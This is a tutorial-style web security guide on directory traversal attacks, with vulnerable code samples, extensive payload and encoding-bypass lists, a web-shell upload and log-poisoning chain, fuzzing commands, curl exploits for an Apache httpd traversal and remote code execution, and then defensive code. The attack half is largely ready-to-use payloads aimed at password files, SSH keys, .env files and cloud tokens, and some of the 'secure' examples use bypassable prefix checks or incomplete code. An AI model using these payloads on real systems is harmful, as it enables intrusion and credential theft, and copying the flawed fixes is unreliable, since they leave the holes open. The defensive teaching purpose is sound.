Comprehensive Guide to Understanding, Exploiting, and Preventing Directory Traversal Attacks
Path Traversal (also known as Directory Traversal or Dot-Dot-Slash attack) is a web security vulnerability that allows attackers to access files and directories outside the web root folder. By manipulating file path references, attackers can read sensitive files, access configuration data, or even execute arbitrary code on the server.
Path traversal vulnerabilities are dangerous because they:
Successful path traversal exploitation allows attackers to:
Path traversal attacks typically follow this pattern:
../<?php
// VULNERABLE: Direct user input in file path
$filename = $_GET['file'];
$content = file_get_contents("/var/www/documents/" . $filename);
echo $content;
// Attack: ?file=../../../../etc/passwd
// Reads: /var/www/documents/../../../../etc/passwd
// Resolves to: /etc/passwd
?>
// VULNERABLE: User input in File constructor
String fileName = request.getParameter("file");
File file = new File("/app/files/" + fileName);
BufferedReader reader = new BufferedReader(new FileReader(file));
// Attack: ?file=../../../etc/passwd
// Accesses: /app/files/../../../etc/passwd → /etc/passwd
from flask import Flask, request, send_file
import os
app = Flask(__name__)
# VULNERABLE: User input in path
@app.route('/download')
def download():
filename = request.args.get('file')
file_path = os.path.join('/app/uploads/', filename)
return send_file(file_path)
# Attack: ?file=../../../../etc/passwd
# Returns: /etc/passwd
const express = require('express');
const fs = require('fs');
const app = express();
// VULNERABLE: String concatenation with user input
app.get('/read', (req, res) => {
const filename = req.query.file;
const path = '/var/data/' + filename;
fs.readFile(path, 'utf8', (err, data) => {
if (err) return res.status(500).send('Error');
res.send(data);
});
});
// Attack: ?file=../../../../etc/passwd
Basic directory traversal using relative paths.
# Unix/Linux
../
../../
../../../etc/passwd
../../../var/log/apache2/access.log
# Windows
..\
..\..\
..\..\..\windows\win.ini
..\..\..\boot.ini
Using absolute paths to bypass restrictions.
# Unix/Linux
/etc/passwd
/etc/shadow
/var/www/html/config.php
/home/user/.ssh/id_rsa
/proc/self/environ
# Windows
C:\windows\win.ini
C:\inetpub\wwwroot\web.config
C:\Users\Administrator\.ssh\id_rsa
Using URL encoding to bypass filters.
# URL encoded
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Double URL encoded
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
# UTF-8 encoded
..%c0%af..%c0%af..%c0%afetc/passwd
# 16-bit Unicode encoding
%u002e%u002e%u002f%u002e%u002e%u002f
Using null bytes to bypass extension checks (deprecated but still found).
# Null byte termination
../../../etc/passwd%00.jpg
../../../etc/passwd\x00.png
# Double null byte
../../../etc/passwd%00%00.pdf
# Backslash separator
..\..\..\windows\system32\config\sam
# Forward slash (also works on Windows)
../../../windows/system32/config/sam
# UNC paths
\\127.0.0.1\c$\windows\win.ini
# Drive letter
C:windows/win.ini
# /proc filesystem
/proc/self/environ
/proc/self/cmdline
/proc/self/cwd/index.php
/proc/[PID]/environ
# /sys filesystem
/sys/class/net/eth0/address
# Alternative root access
/var/www/../../etc/passwd
# Step 1: Upload malicious file
POST /upload HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
<?php system($_GET['cmd']); ?>
# Step 2: Access via path traversal
GET /download?file=../uploads/shell.php&cmd=whoami
# Step 1: Inject PHP code into logs via User-Agent
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
# Step 2: Include log file via path traversal
GET /download?file=../../../var/log/apache2/access.log&cmd=whoami
# Works with various logs
?file=../../../var/log/nginx/access.log
?file=../../../var/log/vsftpd.log
?file=../../../proc/self/environ
# Common sensitive files
../../../config/database.yml
../../../.env
../../../wp-config.php
../../../application/config/config.php
../../../sites/default/settings.php
# Framework-specific configs
../../../config/app.php # Laravel
../../../config/database.php # Laravel
../../../settings.py # Django
../../../manage.py # Django
../../../package.json # Node.js
../../../composer.json # PHP Composer
# Private keys
../../../home/user/.ssh/id_rsa
../../../home/user/.ssh/id_dsa
../../../root/.ssh/id_rsa
../../../home/ubuntu/.ssh/id_rsa
# Authorized keys
../../../home/user/.ssh/authorized_keys
../../../root/.ssh/authorized_keys
# Known hosts
../../../home/user/.ssh/known_hosts
# MySQL
../../../etc/mysql/my.cnf
../../../var/lib/mysql/mysql/user.MYD
# PostgreSQL
../../../etc/postgresql/*/main/pg_hba.conf
../../../var/lib/postgresql/data/postgresql.conf
# MongoDB
../../../etc/mongod.conf
# Redis
../../../etc/redis/redis.conf
# Docker secrets
../../../run/secrets/db_password
../../../var/run/secrets/kubernetes.io/serviceaccount/token
# Kubernetes configs
../../../var/run/secrets/kubernetes.io/serviceaccount/ca.crt
../../../var/run/secrets/kubernetes.io/serviceaccount/namespace
# Container metadata
/proc/self/cgroup
/proc/self/mountinfo
# Standard encoding
..%2f..%2f..%2fetc%2fpasswd
# Double encoding
..%252f..%252f..%252fetc%252fpasswd
# UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd
# 16-bit Unicode
%u002e%u002e%u002f%u002e%u002e%u002f
# Mixed encoding
..%2f..%5c..%2fetc/passwd
# Redundant separators
....//....//....//etc/passwd
..//////..//////etc/passwd
# Self-referencing paths
./././etc/passwd
./.././.././../etc/passwd
# Mixed separators (Windows)
..\../..\../etc/passwd
..\/..\/..\/etc/passwd
# If application prepends /var/www/files/
# Attack with absolute path
/etc/passwd
# Or use relative traversal
../../../../etc/passwd
# Nested paths
/var/www/files/../../../../../../etc/passwd
# Null byte (legacy)
../../../etc/passwd%00.pdf
# Query string
../../../etc/passwd?.jpg
../../../etc/passwd#.jpg
# Case sensitivity bypass
../../../etc/PASSWD
../../../ETC/passwd
# Alternative extensions
../../../etc/passwd%20
../../../etc/passwd.
../../../etc/passwd/.
# Remove ../ filter bypass
....//....//etc/passwd
..;/..;/etc/passwd
# Blacklist bypass
..\../\../..\../etc/passwd
# Stripped string bypass (if filter removes '../')
....//....//....//etc/passwd
# Character variation
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Overlong UTF-8
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
# Windows 8.3 filename format
../../wind~1/win.ini
../../progra~1/
# Windows alternate data streams
web.config::$DATA
# Case insensitivity (Windows)
../WiNdOwS/system32/config/sam
# Trailing dots/spaces (Windows)
../../../etc/passwd....
../../../etc/passwd
The most secure approach is to use allowlists of permitted files.
<?php
// SECURE: Allowlist of permitted files
$allowed_files = [
'report1' => 'reports/january.pdf',
'report2' => 'reports/february.pdf',
'manual' => 'docs/user_manual.pdf'
];
$file_id = $_GET['file'] ?? '';
if (!isset($allowed_files[$file_id])) {
die('Invalid file requested');
}
$file_path = '/var/www/files/' . $allowed_files[$file_id];
if (file_exists($file_path)) {
header('Content-Type: application/pdf');
readfile($file_path);
} else {
die('File not found');
}
?>
import os
from pathlib import Path
from flask import Flask, request, send_file, abort
app = Flask(__name__)
BASE_DIR = Path('/var/www/files')
@app.route('/download')
def download():
filename = request.args.get('file', '')
# Construct full path
requested_path = (BASE_DIR / filename).resolve()
# SECURE: Verify path is within base directory
if not str(requested_path).startswith(str(BASE_DIR.resolve())):
abort(403, "Access denied")
# Check file exists
if not requested_path.is_file():
abort(404, "File not found")
return send_file(requested_path)
# Alternative: Use allowlist
ALLOWED_FILES = {
'report1': 'reports/january.pdf',
'report2': 'reports/february.pdf'
}
@app.route('/get')
def get_file():
file_id = request.args.get('id', '')
if file_id not in ALLOWED_FILES:
abort(400, "Invalid file ID")
file_path = BASE_DIR / ALLOWED_FILES[file_id]
return send_file(file_path)
import java.io.File;
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
public class SecureFileHandler {
private static final String BASE_DIR = "/var/www/files";
public File getSecureFile(String userInput) throws IOException {
// Resolve canonical paths
File baseDir = new File(BASE_DIR).getCanonicalFile();
File requestedFile = new File(baseDir, userInput).getCanonicalFile();
// SECURE: Verify requested file is within base directory
if (!requestedFile.getPath().startsWith(baseDir.getPath())) {
throw new SecurityException("Access denied");
}
return requestedFile;
}
// Java NIO alternative
public Path getSecurePath(String userInput) throws IOException {
Path basePath = Paths.get(BASE_DIR).toRealPath();
Path requestedPath = basePath.resolve(userInput).normalize();
if (!requestedPath.startsWith(basePath)) {
throw new SecurityException("Access denied");
}
return requestedPath;
}
}
const path = require('path');
const fs = require('fs').promises;
const express = require('express');
const app = express();
const BASE_DIR = '/var/www/files';
// SECURE: Path validation middleware
async function secureFileAccess(req, res, next) {
try {
const filename = req.query.file;
// Resolve absolute paths
const basePath = path.resolve(BASE_DIR);
const requestedPath = path.resolve(basePath, filename);
// Verify path is within base directory
if (!requestedPath.startsWith(basePath + path.sep)) {
return res.status(403).send('Access denied');
}
// Check file exists
await fs.access(requestedPath, fs.constants.R_OK);
req.safePath = requestedPath;
next();
} catch (error) {
res.status(404).send('File not found');
}
}
app.get('/download', secureFileAccess, async (req, res) => {
res.sendFile(req.safePath);
});
<?php
// SECURE: Strict input validation
function sanitizeFilename($filename) {
// Remove null bytes
$filename = str_replace(chr(0), '', $filename);
// Remove path separators
$filename = str_replace(['/', '\\', '..'], '', $filename);
// Allow only safe characters
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $filename)) {
throw new Exception('Invalid filename');
}
// Limit length
if (strlen($filename) > 255) {
throw new Exception('Filename too long');
}
return $filename;
}
$filename = sanitizeFilename($_GET['file']);
$file_path = '/var/www/files/' . $filename;
?>
# Python with chroot (requires root)
import os
def setup_chroot(jail_path):
os.chroot(jail_path)
os.chdir('/')
# Drop privileges after chroot
import pwd
def drop_privileges(uid_name='nobody'):
running_uid = pwd.getpwnam(uid_name).pw_uid
os.setuid(running_uid)
# Docker container with read-only filesystem
# docker run --read-only -v /path/to/files:/data:ro myapp
from django.http import FileResponse
from django.conf import settings
from pathlib import Path
import os
def secure_download(request, filename):
# Define safe directory
safe_dir = Path(settings.MEDIA_ROOT) / 'downloads'
# Resolve paths
safe_path = safe_dir.resolve()
file_path = (safe_dir / filename).resolve()
# Validate path
if not str(file_path).startswith(str(safe_path)):
return HttpResponseForbidden("Access denied")
if not file_path.is_file():
raise Http404("File not found")
return FileResponse(open(file_path, 'rb'))
const express = require('express');
const app = express();
// SECURE: Use express.static with options
app.use('/files', express.static('public/files', {
dotfiles: 'deny', // Deny access to dotfiles
index: false, // Disable directory indexing
redirect: false // Disable trailing slash redirect
}));
// Custom secure file handler
const path = require('path');
app.get('/secure/:file', (req, res) => {
const safePath = path.normalize(req.params.file).replace(/^(\.\.[\/\\])+/, '');
res.sendFile(safePath, { root: './public/files' });
});
../, ..\\/etc/passwd, C:\windows\win.ini%00 injection# System files
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/hostname
# Web server configs
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/httpd/conf/httpd.conf
# Application configs
/var/www/html/.env
/var/www/html/config.php
/var/www/html/wp-config.php
# SSH keys
/root/.ssh/id_rsa
/home/user/.ssh/id_rsa
/home/user/.ssh/authorized_keys
# Logs
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/syslog
# Database
/etc/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
# System files
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
# Web configs
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf
# Application data
C:\Users\Administrator\Desktop\
C:\ProgramData\
# IIS logs
C:\inetpub\logs\LogFiles\
dotdotpwn -m http -h target.com -x 80 -f /etc/passwd -k root -d 5
# Use payload list: /Fuzzing/LFI/LFI-gracefulsecurity-*.txt
ffuf -w /path/to/wordlist.txt -u http://target.com/download?file=FUZZ
# Basic payloads
../
../../
../../../
../../../../
# Absolute paths
/etc/passwd
/etc/shadow
/etc/hosts
# Encoded
..%2f
..%5c
%2e%2e%2f
%252e%252e%252f
# Windows
..\
..\..\
C:\windows\win.ini
# Null byte
../../../etc/passwd%00.jpg
# Filter bypass
....//....//etc/passwd
..;/..;/etc/passwd
# Search for vulnerable patterns
# PHP
grep -r "file_get_contents.*\$_GET\|readfile.*\$_POST\|include.*\$_" .
# Python
grep -r "open(.*request\|send_file.*request" .
# Java
grep -r "new File.*getParameter\|FileInputStream.*request" .
# Node.js
grep -r "readFile.*req\.\|sendFile.*req\." .
Impact: Path traversal vulnerability allowing arbitrary file read.
# Exploit through custom URI handler
zoom://target.com/../../../../../../etc/passwd
# Could read sensitive files
zoom://target.com/../../../../../../windows/system32/config/sam
Lesson: Always validate paths in custom URI handlers and protocol implementations.
Impact: Path traversal in GitLab Pages allowing unauthorized file access.
# Accessing files outside webroot
GET /pages/project/../../../../../../etc/passwd HTTP/1.1
Host: gitlab.example.com
# Reading GitLab configuration
GET /pages/project/../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
Lesson: Implement proper path sanitization in file serving components.
Impact: Path traversal and RCE in Apache httpd 2.4.49.
# Path traversal
curl 'http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
# RCE via CGI
curl 'http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' \
-d 'echo Content-Type: text/plain; echo; id'
Lesson: Keep web servers updated and properly configure access controls.
Impact: Path traversal leading to authentication bypass and RCE.
# Path traversal to access backend services
GET /autodiscover/autodiscover.json?@foo.com/owa/&Email=autodiscover/autodiscover.json%3F@foo.com&Protocol=XYZ&FooProtocol=Powershell HTTP/1.1
# Combined with other vulnerabilities for RCE
Lesson: Complex routing and URL parsing can introduce subtle path traversal vulnerabilities.
# Unix/Linux
../
../../
../../../../../../../etc/passwd
/etc/passwd
# Windows
..\
..\..\
C:\windows\win.ini
\\server\share\file.txt
# Mixed
../../../windows/win.ini
..\../..\../etc/passwd
# URL encoding
..%2f
..%5c
%2e%2e%2f
# Double encoding
..%252f
%252e%252e%252f
# UTF-8
..%c0%af
..%c1%9c
# Unicode
%u002e%u002e%u002f
# Redundant separators
....//
..;/
# Null bytes
%00
# Case variations
../ → ..\ → ..\/ → ../
# Nested encoding
%252e%252e%252f
# Linux
/etc/passwd
/etc/shadow
/root/.ssh/id_rsa
/var/www/html/.env
# Windows
C:\windows\win.ini
C:\boot.ini
C:\inetpub\wwwroot\web.config
# Both
/proc/self/environ
/var/log/apache2/access.log